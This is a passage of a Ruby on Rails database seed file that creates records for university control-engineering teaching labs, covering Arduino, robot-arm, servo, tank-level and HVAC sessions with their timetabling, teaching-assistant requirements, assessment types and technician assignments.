staff_ratio: nil)\n ActivityAssess.where(activity_id: a346.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a346.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n\n\n a347 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"217\").first_or_create!(name: \"PWM control of Actuators, using an Arduino\",\n name_abrv: \"Ard PWM\", archived: false, in_drive: false, user_id: 2)\n at347 = ActivityTimetable.where(activity_id: a347.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit will need to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a347.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a347.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"The aims of this laboratory session is to drive different type of actuators using a PWM output from\n an Arduino device, use timers to sequence control functions, and use sensors to adjust the\n behaviour of a system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a347.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a347.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n\n\n a348 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6502\").first.id, code: \"217\").first_or_create!(name: \"PWM control of Actuators, using an Arduino\",\n name_abrv: \"Ard PWM\", archived: false, in_drive: false, user_id: 2)\n at348 = ActivityTimetable.where(activity_id: a348.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a348.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a348.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a348.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a348.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n\n\n a349 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS329\").first.id, code: \"218\").first_or_create!(name: \"Quanser 2DOF Robot\",\n name_abrv: \"2-DOF Robot\", archived: true, in_drive: false, user_id: 5)\n at349 = ActivityTimetable.where(activity_id: a349.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a349.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a349.id).first_or_create!(criteria: \"You will need knowledge of servos and servo control and basic robot kinematics\",\n job_desc:\"A robot control lab. This lab involves controlling a closed-kinematic chain 2-DOF robot.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a349.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a349.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n\n\n a350 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS337\").first.id, code: \"218\").first_or_create!(name: \"Quanser 2DOF Robot\",\n name_abrv: \"2-DOF Robot\", archived: true, in_drive: false, user_id: 1)\n at350 = ActivityTimetable.where(activity_id: a350.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a350.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a350.id).first_or_create!(criteria: \"You will need knowledge of servos and servo control and basic robot kinematics\",\n job_desc:\"A robot control lab. This lab involves controlling a closed-kinematic chain 2-DOF robot.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a350.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a350.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n\n\n a351 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6329\").first.id, code: \"218\").first_or_create!(name: \"Quanser 2DOF Robot\",\n name_abrv: \"2-DOF Robot\", archived: true, in_drive: false, user_id: 1)\n at351 = ActivityTimetable.where(activity_id: a351.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a351.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a351.id).first_or_create!(criteria: \"You will need knowledge of servos and servo control and basic robot kinematics\",\n job_desc:\"A robot control lab. This lab involves controlling a closed-kinematic chain 2-DOF robot.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a351.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a351.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n\n\n a352 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS232\").first.id, code: \"219\").first_or_create!(name: \"Random Signals and Stochastic Systems\",\n name_abrv: \"SS-Stochastic\", archived: false, in_drive: false, user_id: 3)\n at352 = ActivityTimetable.where(activity_id: a352.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 10, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 90, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a352.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a352.id).first_or_create!(criteria: \"Must have a an understanding of the concepts of white noise, and how the power spectral densities at the input and output of an LTI system, and its cross-power spectral density, can be used to calculate the frequency response of the system in question.\",\n job_desc:\"During this session, the students will investigate the characteristics of white noise, and investigate how white noise can be used to find the frequency response characteristics of a system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a352.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a352.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n\n\n a353 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"220\").first_or_create!(name: \"Robot Arm Assembly and Actuation\",\n name_abrv: \"Robot - Assembly\", archived: false, in_drive: false, user_id: 1)\n at353 = ActivityTimetable.where(activity_id: a353.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 9, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a353.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a353.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"During this laboratory session, the students will construct a simple robotic arm, and use an Arduino to control the joint servos in open loop.\", jobshop_desc: \"\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a353.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a353.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n\n\n a354 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"221\").first_or_create!(name: \"Robot Arm Control\",\n name_abrv: \"Robot - Control\", archived: false, in_drive: false, user_id: 2)\n at354 = ActivityTimetable.where(activity_id: a354.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 10, max_week_num: 10, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a354.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a354.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"The aim of this practical session is to understand the basics of robot arm motion designing by actuating the formerly assembled robot arm for grasping and trajectory following performances.\", jobshop_desc: \"\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a354.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a354.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n\n\n a355 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS230\").first.id, code: \"222\").first_or_create!(name: \"Servo System Compensator Design\",\n name_abrv: \"Servo-S\", archived: true, in_drive: false, user_id: 5)\n at355 = ActivityTimetable.where(activity_id: a355.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 10, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a355.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a355.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory involved the design of three compensatory for a control system, and evaluating their performance on a hardware system in the laboratory.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a355.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a355.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n\n\n a356 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6101\").first.id, code: \"222\").first_or_create!(name: \"Servo System Compensator Design\",\n name_abrv: \"Discrete S\", archived: false, in_drive: false, user_id: 1)\n at356 = ActivityTimetable.where(activity_id: a356.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a356.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a356.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory involved the design of three compensatory for a control system, and evaluating their performance on a hardware system in the laboratory.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a356.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a356.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n\n\n a357 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS133\").first.id, code: \"223\").first_or_create!(name: \"Tank Level System - Modelling and Analysis\",\n name_abrv: \"TANKS\", archived: false, in_drive: false, user_id: 5)\n at357 = ActivityTimetable.where(activity_id: a357.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 18, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a357.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a357.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory involves developing a 1st order model of a fluid tank level system, from time domain equations. In the laboratory, they will parameterise the experimental system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a357.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a357.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n\n\n a358 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS132\").first.id, code: \"224\").first_or_create!(name: \"Time Domain Analysis of a Hot Air Process Control System\",\n name_abrv: \"HVAC 1\", archived: false, in_drive: false, user_id: 2)\n at358 = ActivityTimetable.where(activity_id: a358.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a358.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a358.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is basic parameter identification of a 1st order system from step response characteristics: Gain, Time Constant and System Delay.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a358.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a358.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n\n\n a359 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS1321\").first.id, code: \"224\").first_or_create!(name: \"Time Domain Analysis of a Hot Air Process Control System\",\n name_abrv: \"HVAC 1\", archived: false, in_drive: false, user_id: 5)\n at359 = ActivityTimetable.where(activity_id: a359.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a359.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a359.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is basic parameter identification of a 1st order system from step response characteristics: Gain, Time Constant and System Delay.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a359.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a359.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a359.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a360 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS133\").first.id, code: \"225\").first_or_create!(name: \"Time Domain Analysis of a Mass Spring Damping System\",\n name_abrv: \"MSD1\", archived: false, in_drive: false, user_id: 3)\n at360 = ActivityTimetable.where(activity_id: a360.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a360.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a360.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory involves modelling and analysis of the performance characteristics of a 2nd order Mass, Spring, Damper system, in the time domain.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a360.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a360.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n\n\n a361 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS133\").first.id, code: \"226\").first_or_create!(name: \"Time Domain Analysis of a Servo System\",\n name_abrv: \"Time Servo\", archived: false, in_drive: false, user_id: 1)\n at361 = ActivityTimetable.where(activity_id: a361.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 11, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a361.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a361.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The Students are required to analyse the a servo system in the frequency domain, and develop a model of the system. The students will observe the effects of applying, in closed loop, P and PI compensation, in closed loop, to the system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a361.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a361.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n\n\n a362 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS219\").first.id, code: \"227\").first_or_create!(name: \"TSC - Tanks Modelling and Control Design\",\n name_abrv: \"TSC Software\", archived: false, in_drive: false, user_id: 5)\n at362 = ActivityTimetable.where(activity_id: a362.id).first_or_create!(duration: 180, kit_prep_time: 120, min_week_num: 9, max_week_num: 12, pref_room_id: $room_cr4.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 42, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a362.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a362.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is a computer room simulation of a chemical process plant. The laboratory consists of modelling and linearisation of a process control system, design and performance analysis of a PI controller.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a362.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a362.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a362.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a363 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS334\").first.id, code: \"227\").first_or_create!(name: \"TSC: Tanks Modelling and Control Design\",\n name_abrv: \"TSC Software\", archived: true, in_drive: false, user_id: 4)\n at363 = ActivityTimetable.where(activity_id: a363.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr4.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 45, takedown_time: 45, notes: \"\",\n capacity: 190, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a363.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a363.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is a computer room simulation of a chemical process plant. The laboratory consists of modelling and linearisation of a process control system, design and performance analysis of a PI controller.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a363.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a363.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n\n\n a365 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6502\").first.id, code: \"228\").first_or_create!(name: \"Using an Arduino to Read Analogue Sensors\",\n name_abrv: \"Ard Anal\", archived: false, in_drive: false, user_id: 4)\n at365 = ActivityTimetable.where(activity_id: a365.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a365.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a365.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a365.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a365.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n\n\n a366 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"229\").first_or_create!(name: \"Wireless Control of an Arduino Based system, using a Bluetooth Interface\",\n name_abrv: \"Ard Wire\", archived: false, in_drive: false, user_id: 2)\n at366 = ActivityTimetable.where(activity_id: a366.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit will need to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a366.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a366.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"During this practical session, the students will generate a Bluetooth communications link between an Arduino device and a remote computer, to read and process remote sensor data.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a366.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, 